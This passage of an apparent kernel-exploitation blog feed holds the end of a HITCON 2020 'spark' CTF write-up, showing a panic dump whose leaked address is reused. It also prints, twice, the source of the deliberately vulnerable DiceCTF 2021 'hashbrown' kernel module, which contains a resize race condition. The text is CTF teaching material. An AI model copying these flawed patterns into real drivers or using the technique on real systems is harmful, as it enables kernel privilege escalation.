&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.958973] RIP: 0010:traversal+0x52/0x110 [spark]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.959299] Code: c0 75 77 48 8d 50 01 49 89 16 49 89 44 24 70 49 8b 36 49 3b 76 08 0f 84 81 00 00 00 49 8b 5c 24 60 49 83 c4 60 0
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.960089] RSP: 0018:ffffc900001d7e10 EFLAGS: 00000207
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.960471] RAX: ffff88800ddcaf20 RBX: 0000000000000000 RCX: 00000000000008d3
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.961083] RDX: 00000000000008d2 RSI: c1f7a9928c6ca877 RDI: 0000000000031060
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.961918] RBP: ffffc900001d7e38 R08: ffffc900001d7d98 R09: 0000000000000000
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.962316] R10: 0000000000000000 R11: 0000000000000000 R12: ffff88800dd4fb60
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.962646] R13: ffff88800dd4fb00 R14: ffff88800ddcaf80 R15: ffff88800dd4fb10
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.963020] FS:  0000000001787380(0000) GS:ffff88800f600000(0000) knlGS:0000000000000000
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.963489] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.963832] CR2: 0000000000000010 CR3: 000000000de04000 CR4: 00000000000006f0
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Killed
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Then, execute the program with &lt;code&gt;ffff88800dd4fb60&lt;/code&gt; (its R12 value of printed panic information).&lt;/p&gt;
&lt;h2 id=&#34;reference&#34;&gt;Reference&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://gitlab.com/sajjadium/ctf-archives/-/tree/main/ctfs/HITCON/2020/spark&#34;&gt;https://gitlab.com/sajjadium/ctf-archives/-/tree/main/ctfs/HITCON/2020/spark&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content>
    </item>
    
    <item>
      <title>DiceCTF2021 hashbrown</title>
      <link>/posts/kernel/write-ups/ctf/dicectf2021-hashbrown/</link>
      <pubDate>Tue, 11 Feb 2025 13:29:06 +0000</pubDate>
      
      <guid>/posts/kernel/write-ups/ctf/dicectf2021-hashbrown/</guid>
      <description>&lt;hr&gt;
&lt;h2 id=&#34;problem&#34;&gt;Problem&lt;/h2&gt;
&lt;h3 id=&#34;environment&#34;&gt;Environment&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;linux version: &lt;a href=&#34;https://elixir.bootlin.com/linux/v5.11-rc3/source&#34;&gt;&lt;code&gt;5.11.0-rc3&lt;/code&gt;&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;CONFIG_SLAB_FREELIST_RANDOM=y&lt;/li&gt;
&lt;li&gt;CONFIG_SLAB=y&lt;/li&gt;
&lt;li&gt;CONFIG_FG_KASLR=y&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;unprivileged_userfaultfd: 1&lt;/li&gt;
&lt;li&gt;unprivileged_bpf_disabled: 0&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;module&#34;&gt;Module&lt;/h3&gt;



  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;381792654&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;381792654&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;DiceCTF2021-hashbrown-module.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;#include &amp;lt;linux/device.h&amp;gt;
#include &amp;lt;linux/fs.h&amp;gt;
#include &amp;lt;linux/kernel.h&amp;gt;
#include &amp;lt;linux/module.h&amp;gt;
#include &amp;lt;linux/mutex.h&amp;gt;
#include &amp;lt;linux/slab.h&amp;gt;
#include &amp;lt;linux/uaccess.h&amp;gt;

#define DEVICE_NAME &amp;#34;hashbrown&amp;#34;
#define CLASS_NAME &amp;#34;hashbrown&amp;#34;

MODULE_AUTHOR(&amp;#34;FizzBuzz101&amp;#34;);
MODULE_DESCRIPTION(&amp;#34;Here&amp;#39;s a hashbrown for everyone!&amp;#34;);
MODULE_LICENSE(&amp;#34;GPL&amp;#34;);

#define ADD_KEY 0x1337
#define DELETE_KEY 0x1338
#define UPDATE_VALUE 0x1339
#define DELETE_VALUE 0x133a
#define GET_VALUE 0x133b

#define SIZE_ARR_START 0x10
#define SIZE_ARR_MAX 0x200
#define MAX_ENTRIES 0x400
#define MAX_VALUE_SIZE 0xb0
#define GET_THRESHOLD(size) size - (size &amp;gt;&amp;gt; 2)

#define INVALID 1
#define EXISTS 2
#define NOT_EXISTS 3
#define MAXED 4

static DEFINE_MUTEX(operations_lock);
static DEFINE_MUTEX(resize_lock);
static long hashmap_ioctl(struct file *file, unsigned int cmd,
                          unsigned long arg);

static int major;
static struct class *hashbrown_class = NULL;
static struct device *hashbrown_device = NULL;
static struct file_operations hashbrown_fops = {.unlocked_ioctl =
                                                    hashmap_ioctl};

typedef struct {
  uint32_t key;
  uint32_t size;
  char *src;
  char *dest;
} request_t;

struct hash_entry {
  uint32_t key;
  uint32_t size;
  char *value;
  struct hash_entry *next;
};
typedef struct hash_entry hash_entry;

typedef struct {
  uint32_t size;
  uint32_t threshold;
  uint32_t entry_count;
  hash_entry **buckets;
} hashmap_t;
hashmap_t hashmap;

static noinline uint32_t get_hash_idx(uint32_t key, uint32_t size);

static noinline long resize(request_t *arg);
static noinline void resize_add(uint32_t idx, hash_entry *entry,
                                hash_entry **new_buckets);
static noinline void resize_clean_old(void);

static noinline long add_key(uint32_t idx, uint32_t key, uint32_t size,
                             char *src);
static noinline long delete_key(uint32_t idx, uint32_t key);
static noinline long update_value(uint32_t idx, uint32_t key, uint32_t size,
                                  char *src);
static noinline long delete_value(uint32_t idx, uint32_t key);
static noinline long get_value(uint32_t idx, uint32_t key, uint32_t size,
                               char *dest);

#pragma GCC push_options
#pragma GCC optimize(&amp;#34;O1&amp;#34;)

static long hashmap_ioctl(struct file *file, unsigned int cmd,
                          unsigned long arg) {
  long result;
  request_t request;
  uint32_t idx;

  if (cmd == ADD_KEY) {
    if (hashmap.entry_count == hashmap.threshold &amp;amp;&amp;amp;
        hashmap.size &amp;lt; SIZE_ARR_MAX) {
      mutex_lock(&amp;amp;resize_lock);
      result = resize((request_t *)arg);
      mutex_unlock(&amp;amp;resize_lock);
      return result;
    }
  }

  mutex_lock(&amp;amp;operations_lock);
  if (copy_from_user((void *)&amp;amp;request, (void *)arg, sizeof(request_t))) {
    result = INVALID;
  } else if (cmd == ADD_KEY &amp;amp;&amp;amp; hashmap.entry_count == MAX_ENTRIES) {
    result = MAXED;
  } else {
    idx = get_hash_idx(request.key, hashmap.size);
    switch (cmd) {
      case ADD_KEY:
        result = add_key(idx, request.key, request.size, request.src);
        break;
      case DELETE_KEY:
        result = delete_key(idx, request.key);
        break;
      case UPDATE_VALUE:
        result = update_value(idx, request.key, request.size, request.src);
        break;
      case DELETE_VALUE:
        result = delete_value(idx, request.key);
        break;
      case GET_VALUE:
        result = get_value(idx, request.key, request.size, request.dest);
        break;
      default:
        result = INVALID;
        break;
    }
  }
  mutex_unlock(&amp;amp;operations_lock);
  return result;
}

static uint32_t get_hash_idx(uint32_t key, uint32_t size) {
  uint32_t hash;
  key ^= (key &amp;gt;&amp;gt; 20) ^ (key &amp;gt;&amp;gt; 12);
  hash = key ^ (key &amp;gt;&amp;gt; 7) ^ (key &amp;gt;&amp;gt; 4);
  return hash &amp;amp; (size - 1);
}

static noinline void resize_add(uint32_t idx, hash_entry *entry,
                                hash_entry **new_buckets) {
  if (!new_buckets[idx]) {
    new_buckets[idx] = entry;
  } else {
    entry-&amp;gt;next = new_buckets[idx];
    new_buckets[idx] = entry;
  }
}

static noinline void resize_clean_old() {
  int i;
  hash_entry *traverse, *temp;
  for (i = 0; i &amp;lt; hashmap.size; i++) {
    if (hashmap.buckets[i]) {
      traverse = hashmap.buckets[i];
      while (traverse) {
        temp = traverse;
        traverse = traverse-&amp;gt;next;
        kfree(temp);
      }
      hashmap.buckets[i] = NULL;
    }
  }
  kfree(hashmap.buckets);
  hashmap.buckets = NULL;
  return;
}

static long resize(request_t *arg) {
  hash_entry **new_buckets, *temp_entry, *temp;
  request_t request;
  char *temp_data;
  uint32_t new_size, new_threshold, new_idx;
  int i, duplicate;

  if (copy_from_user((void *)&amp;amp;request, (void *)arg, sizeof(request_t))) {
    return INVALID;
  }
  if (request.size &amp;lt; 1 || request.size &amp;gt; MAX_VALUE_SIZE) {
    return INVALID;
  }

  new_size = hashmap.size * 2;
  new_threshold = GET_THRESHOLD(new_size);
  new_buckets = kzalloc(sizeof(hash_entry *) * new_size, GFP_KERNEL);

  if (!new_buckets) {
    return INVALID;
  }

  duplicate = 0;
  for (i = 0; i &amp;lt; hashmap.size; i++) {
    if (hashmap.buckets[i]) {
      for (temp_entry = hashmap.buckets[i]; temp_entry != NULL;
           temp_entry = temp_entry-&amp;gt;next) {
        if (temp_entry-&amp;gt;key == request.key) {
          duplicate = 1;
        }
        new_idx = get_hash_idx(temp_entry-&amp;gt;key, new_size);
        temp = kzalloc(sizeof(hash_entry), GFP_KERNEL);
        if (!temp) {
          kfree(new_buckets);
          return INVALID;
        }
        temp-&amp;gt;key = temp_entry-&amp;gt;key;
        temp-&amp;gt;size = temp_entry-&amp;gt;size;
        temp-&amp;gt;value = temp_entry-&amp;gt;value;
        resize_add(new_idx, temp, new_buckets);
      }
    }
  }
  if (!duplicate) {
    new_idx = get_hash_idx(request.key, new_size);
    temp = kzalloc(sizeof(hash_entry), GFP_KERNEL);
    if (!temp) {
      kfree(new_buckets);
      return INVALID;
    }
    temp_data = kzalloc(request.size, GFP_KERNEL);
    if (!temp_data) {
      kfree(temp);
      kfree(new_buckets);
      return INVALID;
    }
    if (copy_from_user(temp_data, request.src, request.size)) {
      kfree(temp_data);
      kfree(temp);
      kfree(new_buckets);
      return INVALID;
    }
    temp-&amp;gt;size = request.size;
    temp-&amp;gt;value = temp_data;
    temp-&amp;gt;key = request.key;
    temp-&amp;gt;next = NULL;
    resize_add(new_idx, temp, new_buckets);
    hashmap.entry_count++;
  }
  resize_clean_old();
  hashmap.size = new_size;
  hashmap.threshold = new_threshold;
  hashmap.buckets = new_buckets;
  return (duplicate) ? EXISTS : 0;
}

static long add_key(uint32_t idx, uint32_t key, uint32_t size, char *src) {
  hash_entry *temp_entry, *temp;
  char *temp_data;
  if (size &amp;lt; 1 || size &amp;gt; MAX_VALUE_SIZE) {
    return INVALID;
  }

  temp_entry = kzalloc(sizeof(hash_entry), GFP_KERNEL);
  temp_data = kzalloc(size, GFP_KERNEL);
  if (!temp_entry || !temp_data) {
    return INVALID;
  }
  if (copy_from_user(temp_data, src, size)) {
    return INVALID;
  }
  temp_entry-&amp;gt;key = key;
  temp_entry-&amp;gt;size = size;
  temp_entry-&amp;gt;value = temp_data;
  temp_entry-&amp;gt;next = NULL;

  if (!hashmap.buckets[idx]) {
    hashmap.buckets[idx] = temp_entry;
    hashmap.entry_count++;
    return 0;
  } else {
    for (temp = hashmap.buckets[idx]; temp-&amp;gt;next != NULL; temp = temp-&amp;gt;next) {
      if (temp-&amp;gt;key == key) {
        kfree(temp_data);
        kfree(temp_entry);
        return EXISTS;
      }
    }
    if (temp-&amp;gt;key == key) {
      kfree(temp_data);
      kfree(temp_entry);
      return EXISTS;
    }
    temp-&amp;gt;next = temp_entry;
    hashmap.entry_count++;
    return 0;
  }
}

static long delete_key(uint32_t idx, uint32_t key) {
  hash_entry *temp, *prev;

  if (!hashmap.buckets[idx]) {
    return NOT_EXISTS;
  }
  if (hashmap.buckets[idx]-&amp;gt;key == key) {
    temp = hashmap.buckets[idx]-&amp;gt;next;
    if (hashmap.buckets[idx]-&amp;gt;value) {
      kfree(hashmap.buckets[idx]-&amp;gt;value);
    }
    kfree(hashmap.buckets[idx]);
    hashmap.buckets[idx] = temp;
    hashmap.entry_count--;
    return 0;
  }
  temp = hashmap.buckets[idx];
  while (temp != NULL &amp;amp;&amp;amp; temp-&amp;gt;key != key) {
    prev = temp;
    temp = temp-&amp;gt;next;
  }
  if (temp == NULL) {
    return NOT_EXISTS;
  }
  prev-&amp;gt;next = temp-&amp;gt;next;
  if (temp-&amp;gt;value) {
    kfree(temp-&amp;gt;value);
  }
  kfree(temp);
  hashmap.entry_count--;
  return 0;
}

static long update_value(uint32_t idx, uint32_t key, uint32_t size, char *src) {
  hash_entry *temp;
  char *temp_data;

  if (size &amp;lt; 1 || size &amp;gt; MAX_VALUE_SIZE) {
    return INVALID;
  }
  if (!hashmap.buckets[idx]) {
    return NOT_EXISTS;
  }

  for (temp = hashmap.buckets[idx]; temp != NULL; temp = temp-&amp;gt;next) {
    if (temp-&amp;gt;key == key) {
      if (temp-&amp;gt;size != size) {
        if (temp-&amp;gt;value) {
          kfree(temp-&amp;gt;value);
        }
        temp-&amp;gt;value = NULL;
        temp-&amp;gt;size = 0;
        temp_data = kzalloc(size, GFP_KERNEL);
        if (!temp_data || copy_from_user(temp_data, src, size)) {
          return INVALID;
        }
        temp-&amp;gt;size = size;
        temp-&amp;gt;value = temp_data;
      } else {
        if (copy_from_user(temp-&amp;gt;value, src, size)) {
          return INVALID;
        }
      }
      return 0;
    }
  }
  return NOT_EXISTS;
}

static long delete_value(uint32_t idx, uint32_t key) {
  hash_entry *temp;
  if (!hashmap.buckets[idx]) {
    return NOT_EXISTS;
  }
  for (temp = hashmap.buckets[idx]; temp != NULL; temp = temp-&amp;gt;next) {
    if (temp-&amp;gt;key == key) {
      if (!temp-&amp;gt;value || !temp-&amp;gt;size) {
        return NOT_EXISTS;
      }
      kfree(temp-&amp;gt;value);
      temp-&amp;gt;value = NULL;
      temp-&amp;gt;size = 0;
      return 0;
    }
  }
  return NOT_EXISTS;
}

static long get_value(uint32_t idx, uint32_t key, uint32_t size, char *dest) {
  hash_entry *temp;
  if (!hashmap.buckets[idx]) {
    return NOT_EXISTS;
  }
  for (temp = hashmap.buckets[idx]; temp != NULL; temp = temp-&amp;gt;next) {
    if (temp-&amp;gt;key == key) {
      if (!temp-&amp;gt;value || !temp-&amp;gt;size) {
        return NOT_EXISTS;
      }
      if (size &amp;gt; temp-&amp;gt;size) {
        return INVALID;
      }
      if (copy_to_user(dest, temp-&amp;gt;value, size)) {
        return INVALID;
      }
      return 0;
    }
  }
  return NOT_EXISTS;
}

#pragma GCC pop_options

static int __init init_hashbrown(void) {
  major = register_chrdev(0, DEVICE_NAME, &amp;amp;hashbrown_fops);
  if (major &amp;lt; 0) {
    return -1;
  }
  hashbrown_class = class_create(THIS_MODULE, CLASS_NAME);
  if (IS_ERR(hashbrown_class)) {
    unregister_chrdev(major, DEVICE_NAME);
    return -1;
  }
  hashbrown_device =
      device_create(hashbrown_class, 0, MKDEV(major, 0), 0, DEVICE_NAME);
  if (IS_ERR(hashbrown_device)) {
    class_destroy(hashbrown_class);
    unregister_chrdev(major, DEVICE_NAME);
    return -1;
  }
  mutex_init(&amp;amp;operations_lock);
  mutex_init(&amp;amp;resize_lock);

  hashmap.size = SIZE_ARR_START;
  hashmap.entry_count = 0;
  hashmap.threshold = GET_THRESHOLD(hashmap.size);
  hashmap.buckets = kzalloc(sizeof(hash_entry *) * hashmap.size, GFP_KERNEL);
  printk(KERN_INFO &amp;#34;HashBrown Loaded! Who doesn&amp;#39;t love Hashbrowns!\n&amp;#34;);
  return 0;
}

static void __exit exit_hashbrown(void) {
  device_destroy(hashbrown_class, MKDEV(major, 0));
  class_unregister(hashbrown_class);
  class_destroy(hashbrown_class);
  unregister_chrdev(major, DEVICE_NAME);
  mutex_destroy(&amp;amp;operations_lock);
  mutex_destroy(&amp;amp;resize_lock);
  printk(KERN_INFO &amp;#34;HashBrown Unloaded\n&amp;#34;);
}

module_init(init_hashbrown);
module_exit(exit_hashbrown);&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;This module allow us to add, delete and update key and value to hashmap.&lt;/p&gt;</description>
      <content>&lt;hr&gt;
&lt;h2 id=&#34;problem&#34;&gt;Problem&lt;/h2&gt;
&lt;h3 id=&#34;environment&#34;&gt;Environment&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;linux version: &lt;a href=&#34;https://elixir.bootlin.com/linux/v5.11-rc3/source&#34;&gt;&lt;code&gt;5.11.0-rc3&lt;/code&gt;&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;CONFIG_SLAB_FREELIST_RANDOM=y&lt;/li&gt;
&lt;li&gt;CONFIG_SLAB=y&lt;/li&gt;
&lt;li&gt;CONFIG_FG_KASLR=y&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;unprivileged_userfaultfd: 1&lt;/li&gt;
&lt;li&gt;unprivileged_bpf_disabled: 0&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;module&#34;&gt;Module&lt;/h3&gt;



  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;381792654&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;381792654&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;DiceCTF2021-hashbrown-module.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;#include &amp;lt;linux/device.h&amp;gt;
#include &amp;lt;linux/fs.h&amp;gt;
#include &amp;lt;linux/kernel.h&amp;gt;
#include &amp;lt;linux/module.h&amp;gt;
#include &amp;lt;linux/mutex.h&amp;gt;
#include &amp;lt;linux/slab.h&amp;gt;
#include &amp;lt;linux/uaccess.h&amp;gt;

#define DEVICE_NAME &amp;#34;hashbrown&amp;#34;
#define CLASS_NAME &amp;#34;hashbrown&amp;#34;

MODULE_AUTHOR(&amp;#34;FizzBuzz101&amp;#34;);
MODULE_DESCRIPTION(&amp;#34;Here&amp;#39;s a hashbrown for everyone!&amp;#34;);
MODULE_LICENSE(&amp;#34;GPL&amp;#34;);

#define ADD_KEY 0x1337
#define DELETE_KEY 0x1338
#define UPDATE_VALUE 0x1339
#define DELETE_VALUE 0x133a
#define GET_VALUE 0x133b

#define SIZE_ARR_START 0x10
#define SIZE_ARR_MAX 0x200
#define MAX_ENTRIES 0x400
#define MAX_VALUE_SIZE 0xb0
#define GET_THRESHOLD(size) size - (size &amp;gt;&amp;gt; 2)

#define INVALID 1
#define EXISTS 2
#define NOT_EXISTS 3
#define MAXED 4

static DEFINE_MUTEX(operations_lock);
static DEFINE_MUTEX(resize_lock);
static long hashmap_ioctl(struct file *file, unsigned int cmd,
                          unsigned long arg);

static int major;
static struct class *hashbrown_class = NULL;
static struct device *hashbrown_device = NULL;
static struct file_operations hashbrown_fops = {.unlocked_ioctl =
                                                    hashmap_ioctl};

typedef struct {
  uint32_t key;
  uint32_t size;
  char *src;
  char *dest;
} request_t;

struct hash_entry {
  uint32_t key;
  uint32_t size;
  char *value;
  struct hash_entry *next;
};
typedef struct hash_entry hash_entry;

typedef struct {
  uint32_t size;
  uint32_t threshold;
  uint32_t entry_count;
  hash_entry **buckets;
} hashmap_t;
hashmap_t hashmap;

static noinline uint32_t get_hash_idx(uint32_t key, uint32_t size);

static noinline long resize(request_t *arg);
static noinline void resize_add(uint32_t idx, hash_entry *entry,
                                hash_entry **new_buckets);
static noinline void resize_clean_old(void);

static noinline long add_key(uint32_t idx, uint32_t key, uint32_t size,
                             char *src);
static noinline long delete_key(uint32_t idx, uint32_t key);
static noinline long update_value(uint32_t idx, uint32_t key, uint32_t size,
                                  char *src);
static noinline long delete_value(uint32_t idx, uint32_t key);
static noinline long get_value(uint32_t idx, uint32_t key, uint32_t size,
                               char *dest);

#pragma GCC push_options
#pragma GCC optimize(&amp;#34;O1&amp;#34;)

static long hashmap_ioctl(struct file *file, unsigned int cmd,
                          unsigned long arg) {
  long result;
  request_t request;
  uint32_t idx;

  if (cmd == ADD_KEY) {
    if (hashmap.entry_count == hashmap.threshold &amp;amp;&amp;amp;
        hashmap.size &amp;lt; SIZE_ARR_MAX) {
      mutex_lock(&amp;amp;resize_lock);
      result = resize((request_t *)arg);
      mutex_unlock(&amp;amp;resize_lock);
      return result;
    }
  }

  mutex_lock(&amp;amp;operations_lock);
  if (copy_from_user((void *)&amp;amp;request, (void *)arg, sizeof(request_t))) {
    result = INVALID;
  } else if (cmd == ADD_KEY &amp;amp;&amp;amp; hashmap.entry_count == MAX_ENTRIES) {
    result = MAXED;
  } else {
    idx = get_hash_idx(request.key, hashmap.size);
    switch (cmd) {
      case ADD_KEY:
        result = add_key(idx, request.key, request.size, request.src);
        break;
      case DELETE_KEY:
        result = delete_key(idx, request.key);
        break;
      case UPDATE_VALUE:
        result = update_value(idx, request.key, request.size, request.src);
        break;
      case DELETE_VALUE:
        result = delete_value(idx, request.key);
        break;
      case GET_VALUE:
        result = get_value(idx, request.key, request.size, request.dest);
        break;
      default:
        result = INVALID;
        break;
    }
  }
  mutex_unlock(&amp;amp;operations_lock);
  return result;
}

static uint32_t get_hash_idx(uint32_t key, uint32_t size) {
  uint32_t hash;
  key ^= (key &amp;gt;&amp;gt; 20) ^ (key &amp;gt;&amp;gt; 12);
  hash = key ^ (key &amp;gt;&amp;gt; 7) ^ (key &amp;gt;&amp;gt; 4);
  return hash &amp;amp; (size - 1);
}

static noinline void resize_add(uint32_t idx, hash_entry *entry,
                                hash_entry **new_buckets) {
  if (!new_buckets[idx]) {
    new_buckets[idx] = entry;
  } else {
    entry-&amp;gt;next = new_buckets[idx];
    new_buckets[idx] = entry;
  }
}

static noinline void resize_clean_old() {
  int i;
  hash_entry *traverse, *temp;
  for (i = 0; i &amp;lt; hashmap.size; i++) {
    if (hashmap.buckets[i]) {
      traverse = hashmap.buckets[i];
      while (traverse) {
        temp = traverse;
        traverse = traverse-&amp;gt;next;
        kfree(temp);
      }
      hashmap.buckets[i] = NULL;
    }
  }
  kfree(hashmap.buckets);
  hashmap.buckets = NULL;
  return;
}

static long resize(request_t *arg) {
  hash_entry **new_buckets, *temp_entry, *temp;
  request_t request;
  char *temp_data;
  uint32_t new_size, new_threshold, new_idx;
  int i, duplicate;

  if (copy_from_user((void *)&amp;amp;request, (void *)arg, sizeof(request_t))) {
    return INVALID;
  }
  if (request.size &amp;lt; 1 || request.size &amp;gt; MAX_VALUE_SIZE) {
    return INVALID;
  }

  new_size = hashmap.size * 2;
  new_threshold = GET_THRESHOLD(new_size);
  new_buckets = kzalloc(sizeof(hash_entry *) * new_size, GFP_KERNEL);

  if (!new_buckets) {
    return INVALID;
  }

  duplicate = 0;
  for (i = 0; i &amp;lt; hashmap.size; i++) {
    if (hashmap.buckets[i]) {
      for (temp_entry = hashmap.buckets[i]; temp_entry != NULL;
           temp_entry = temp_entry-&amp;gt;next) {
        if (temp_entry-&amp;gt;key == request.key) {
          duplicate = 1;
        }
        new_idx = get_hash_idx(temp_entry-&amp;gt;key, new_size);
        temp = kzalloc(sizeof(hash_entry), GFP_KERNEL);
        if (!temp) {
          kfree(new_buckets);
          return INVALID;
        }
        temp-&amp;gt;key = temp_entry-&amp;gt;key;
        temp-&amp;gt;size = temp_entry-&amp;gt;size;
        temp-&amp;gt;value = temp_entry-&amp;gt;value;
        resize_add(new_idx, temp, new_buckets);
      }
    }
  }
  if (!duplicate) {
    new_idx = get_hash_idx(request.key, new_size);
    temp = kzalloc(sizeof(hash_entry), GFP_KERNEL);
    if (!temp) {
      kfree(new_buckets);
      return INVALID;
    }
    temp_data = kzalloc(request.size, GFP_KERNEL);
    if (!temp_data) {
      kfree(temp);
      kfree(new_buckets);
      return INVALID;
    }
    if (copy_from_user(temp_data, request.src, request.size)) {
      kfree(temp_data);
      kfree(temp);
      kfree(new_buckets);
      return INVALID;
    }
    temp-&amp;gt;size = request.size;
    temp-&amp;gt;value = temp_data;
    temp-&amp;gt;key = request.key;
    temp-&amp;gt;next = NULL;
    resize_add(new_idx, temp, new_buckets);
    hashmap.entry_count++;
  }
  resize_clean_old();
  hashmap.size = new_size;
  hashmap.threshold = new_threshold;
  hashmap.buckets = new_buckets;
  return (duplicate) ? EXISTS : 0;
}

static long add_key(uint32_t idx, uint32_t key, uint32_t size, char *src) {
  hash_entry *temp_entry, *temp;
  char *temp_data;
  if (size &amp;lt; 1 || size &amp;gt; MAX_VALUE_SIZE) {
    return INVALID;
  }

  temp_entry = kzalloc(sizeof(hash_entry), GFP_KERNEL);
  temp_data = kzalloc(size, GFP_KERNEL);
  if (!temp_entry || !temp_data) {
    return INVALID;
  }
  if (copy_from_user(temp_data, src, size)) {
    return INVALID;
  }
  temp_entry-&amp;gt;key = key;
  temp_entry-&amp;gt;size = size;
  temp_entry-&amp;gt;value = temp_data;
  temp_entry-&amp;gt;next = NULL;

  if (!hashmap.buckets[idx]) {
    hashmap.buckets[idx] = temp_entry;
    hashmap.entry_count++;
    return 0;
  } else {
    for (temp = hashmap.buckets[idx]; temp-&amp;gt;next != NULL; temp = temp-&amp;gt;next) {
      if (temp-&amp;gt;key == key) {
        kfree(temp_data);
        kfree(temp_entry);
        return EXISTS;
      }
    }
    if (temp-&amp;gt;key == key) {
      kfree(temp_data);
      kfree(temp_entry);
      return EXISTS;
    }
    temp-&amp;gt;next = temp_entry;
    hashmap.entry_count++;
    return 0;
  }
}

static long delete_key(uint32_t idx, uint32_t key) {
  hash_entry *temp, *prev;

  if (!hashmap.buckets[idx]) {
    return NOT_EXISTS;
  }
  if (hashmap.buckets[idx]-&amp;gt;key == key) {
    temp = hashmap.buckets[idx]-&amp;gt;next;
    if (hashmap.buckets[idx]-&amp;gt;value) {
      kfree(hashmap.buckets[idx]-&amp;gt;value);
    }
    kfree(hashmap.buckets[idx]);
    hashmap.buckets[idx] = temp;
    hashmap.entry_count--;
    return 0;
  }
  temp = hashmap.buckets[idx];
  while (temp != NULL &amp;amp;&amp;amp; temp-&amp;gt;key != key) {
    prev = temp;
    temp = temp-&amp;gt;next;
  }
  if (temp == NULL) {
    return NOT_EXISTS;
  }
  prev-&amp;gt;next = temp-&amp;gt;next;
  if (temp-&amp;gt;value) {
    kfree(temp-&amp;gt;value);
  }
  kfree(temp);
  hashmap.entry_count--;
  return 0;
}

static long update_value(uint32_t idx, uint32_t key, uint32_t size, char *src) {
  hash_entry *temp;
  char *temp_data;

  if (size &amp;lt; 1 || size &amp;gt; MAX_VALUE_SIZE) {
    return INVALID;
  }
  if (!hashmap.buckets[idx]) {
    return NOT_EXISTS;
  }

  for (temp = hashmap.buckets[idx]; temp != NULL; temp = temp-&amp;gt;next) {
    if (temp-&amp;gt;key == key) {
      if (temp-&amp;gt;size != size) {
        if (temp-&amp;gt;value) {
          kfree(temp-&amp;gt;value);
        }
        temp-&amp;gt;value = NULL;
        temp-&amp;gt;size = 0;
        temp_data = kzalloc(size, GFP_KERNEL);
        if (!temp_data || copy_from_user(temp_data, src, size)) {
          return INVALID;
        }
        temp-&amp;gt;size = size;
        temp-&amp;gt;value = temp_data;
      } else {
        if (copy_from_user(temp-&amp;gt;value, src, size)) {
          return INVALID;
        }
      }
      return 0;
    }
  }
  return NOT_EXISTS;
}

static long delete_value(uint32_t idx, uint32_t key) {
  hash_entry *temp;
  if (!hashmap.buckets[idx]) {
    return NOT_EXISTS;
  }
  for (temp = hashmap.buckets[idx]; temp != NULL; temp = temp-&amp;gt;next) {
    if (temp-&amp;gt;key == key) {
      if (!temp-&amp;gt;value || !temp-&amp;gt;size) {
        return NOT_EXISTS;
      }
      kfree(temp-&amp;gt;value);
      temp-&amp;gt;value = NULL;
      temp-&amp;gt;size = 0;
      return 0;
    }
  }
  return NOT_EXISTS;
}

static long get_value(uint32_t idx, uint32_t key, uint32_t size, char *dest) {
  hash_entry *temp;
  if (!hashmap.buckets[idx]) {
    return NOT_EXISTS;
  }
  for (temp = hashmap.buckets[idx]; temp != NULL; temp = temp-&amp;gt;next) {
    if (temp-&amp;gt;key == key) {
      if (!temp-&amp;gt;value || !temp-&amp;gt;size) {
        return NOT_EXISTS;
      }
      if (size &amp;gt; temp-&amp;gt;size) {
        return INVALID;
      }
      if (copy_to_user(dest, temp-&amp;gt;value, size)) {
        return INVALID;
      }
      return 0;
    }
  }
